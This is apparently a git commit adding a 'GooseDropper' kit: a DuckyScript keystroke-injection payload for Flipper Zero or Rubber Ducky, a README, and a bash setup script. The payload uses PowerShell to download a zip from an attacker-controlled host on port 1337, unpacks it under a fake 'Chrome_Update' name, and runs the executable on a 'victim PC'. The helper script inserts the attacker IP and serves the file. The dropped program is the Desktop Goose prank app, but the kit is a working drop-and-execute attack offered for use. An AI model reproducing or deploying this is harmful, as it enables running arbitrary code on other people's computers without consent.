Hello World
This commit is contained in:
@@ -0,0 +1,18 @@
|
|||||||
|
REM TITLE GooseDropper
|
||||||
|
REM AUTHOR Fr3ki
|
||||||
|
REM DESCRIPTION Grab the Desktop Goose executable from an attacker machine and run it on the victim PC
|
||||||
|
DELAY 500
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell wget YOUR_IP:1337/update.zip -OutFile $ENV:Temp/Updater.zip
|
||||||
|
ENTER
|
||||||
|
DELAY 5000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell Expand-Archive $ENV:Temp\Updater.zip -DestinationPath $ENV:Temp\Chrome_Update
|
||||||
|
ENTER
|
||||||
|
DELAY 3000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING %Temp%\Chrome_Update\Update\GooseDesktop.exe
|
||||||
|
ENTER
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
======= Goose Dropper ========
|
||||||
|
This is a duckyscript originally designed for Flipper-Zero to drop Desktop Goose on a Windows PC.
|
||||||
|
|
||||||
|
Currently there is no auto-configurator for Windows but it's in the works. Steps to configure manually:
|
||||||
|
1) Replace the YOUR_IP value in GooseDropper.txt with your IP
|
||||||
|
2) Download Desktop Goose and extract it, rename the DesktopGoose v.031 from inside the zip to Update
|
||||||
|
3) Re-ZIP the Update directory and name it Chrome_Updater.txt
|
||||||
|
4) Start some form of simple webserver/fileshare on port 1337
|
||||||
|
5) Copy to your Flipper or Rubber-Ducky and PWN!
|
||||||
|
|
||||||
|
Important Notes:
|
||||||
|
Ensure configuration is run while on the same network as your target, re-configure with each new network.
|
||||||
|
|
||||||
|
Currently a reboot will kill the process, however persistance is being worked on.
|
||||||
|
|
||||||
|
All credit goes to Samperson for the development of Desktop Goose: https://itch.io/profile/samperson | https://twitter.com/samnchiet
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
#Grab your local IP to add to the payload
|
||||||
|
SRC="$(ip route show | grep default | cut -d ' ' -f 9)"
|
||||||
|
|
||||||
|
#Check if Desktop Goose is present in this directory
|
||||||
|
GOOSE="$(ls | grep 'Desktop Goose v0.31.zip')"
|
||||||
|
|
||||||
|
#Add the IP to the payload
|
||||||
|
sed -i "s/YOUR_IP/$SRC/" GooseDroper.txt
|
||||||
|
|
||||||
|
#Check
|
||||||
|
if [ "${GOOSE}" == "" ];
|
||||||
|
then
|
||||||
|
echo "Desktop Goose is not present in this directory, download it, or move it here"
|
||||||
|
exit
|
||||||
|
|
||||||
|
else
|
||||||
|
unzip "Desktop Goose v0.31.zip"
|
||||||
|
mv "Desktop Goose v0.31/DesktopGoose v0.31" Update
|
||||||
|
zip -r Chrome_Update.zip Update
|
||||||
|
rm -rf "Desktop Goose v0.31"* Update
|
||||||
|
read -p "Configuration finished! Start python webserver now? [Y/N]" START
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
if [ "${START,,}" == "y" ];
|
||||||
|
then
|
||||||
|
python3 -m http.server 1337 && echo "PWNED!"
|
||||||
|
else
|
||||||
|
clear
|
||||||
|
echo "Server not started, thank you!"
|
||||||
|
fi
|
||||||
Reference in New Issue
Block a user